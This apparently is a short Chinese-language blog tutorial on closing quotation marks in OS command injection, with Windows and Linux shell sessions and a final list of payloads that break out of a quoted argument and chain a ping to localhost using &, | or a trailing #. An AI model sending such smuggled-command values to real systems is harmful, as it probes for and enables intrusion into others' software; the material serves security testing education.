關於OS命令注入的閉合問題

1、在Windows下

複製代碼
 1 windows下非常好辦,只需要&肯定可以執行:
 2 C:\Users\xxx\Desktop>aaaa | ping -n 5 127.0.0.1
 3 'aaaa' 不是內部或外部命令,也不是可運行的程序
 4 或批處理文件。
 5 
 6 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat
 7 
 8 C:\Users\xxx\Desktop>aaaa' | ping -n 5 127.0.0.1
 9 'aaaa'' 不是內部或外部命令,也不是可運行的程序
10 或批處理文件。
11 
12 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat
13 
14 C:\Users\xxx\Desktop>aaaa' & ping -n 5 127.0.0.1
15 'aaaa'' 不是內部或外部命令,也不是可運行的程序
16 或批處理文件。
17 
18 正在 Ping 127.0.0.1 具有 32 字節的數據:
19 來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
20 來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
21 來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
22 來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
23 來自 127.0.0.1 的回覆: 字節=32 時間<1ms TTL=128
24 
25 127.0.0.1 的 Ping 統計信息:
26     數據包: 已發送 = 5,已接收 = 5,丟失 = 0 (0% 丟失),
27 往返行程的估計時間(以毫秒爲單位):
28     最短 = 0ms,最長 = 0ms,平均 = 0ms
29 
30 C:\Users\xxx\Desktop>
複製代碼

或者把&換成||上文中的例子也可以執行。

2、在Linux下:

在Linux下就顯得複雜一些了

先來看一個可以執行的例子:

複製代碼
1 $ 'aaaa'|ping -c 4 127.0.0.1 # ''
2 -bash: aaaa: command not found
3 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
4 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms
5 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
6 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.068 ms
7 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.054 ms
複製代碼

# ' 來閉合最後的'從而達到了命令注入執行,如果去掉#就發現不行了

1 $ 'aaaa|ping -c 4 127.0.0.1  ''
2 > 

類似的這種需要閉合前面的'

複製代碼
 1 $ 'aaaa'|ping -c 4 127.0.0.1 
 2 -bash: aaaa: command not found
 3 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
 4 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.063 ms
 5 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
 6 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.066 ms
 7 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.062 ms
 8 
 9 --- 127.0.0.1 ping statistics ---
10 4 packets transmitted, 4 received, 0% packet loss, time 3000ms
11 rtt min/avg/max/mdev = 0.062/0.065/0.072/0.010 ms
12 $ 'aaaa|ping -c 4 127.0.0.1 
13 > 
複製代碼

上面是使用|的一些例子,下面來看看&

複製代碼
 1 $ 'aaa'&ping -c 4 127.0.0.1
 2 [1] 4434
 3 -bash: aaa: command not found
 4 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
 5 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
 6 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.069 ms
 7 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.057 ms
 8 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.067 ms
 9 
10 --- 127.0.0.1 ping statistics ---
11 4 packets transmitted, 4 received, 0% packet loss, time 2999ms
12 rtt min/avg/max/mdev = 0.057/0.064/0.069/0.010 ms
13 [1]+  Exit 127                'aaa'
14 $ 
複製代碼

綜上閉合OS執行的payload只需:

複製代碼
1 #windows:
2 'aaa&ping 127.0.0.1&'
3 'aaa||ping 127.0.0.1||'
4 #linux下:
5 'aaa'&ping -c 4 127.0.0.1
6 'aaa'|ping -c 4 127.0.0.1
7 'aaa'|ping -c 4 127.0.0.1# ''
複製代碼
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章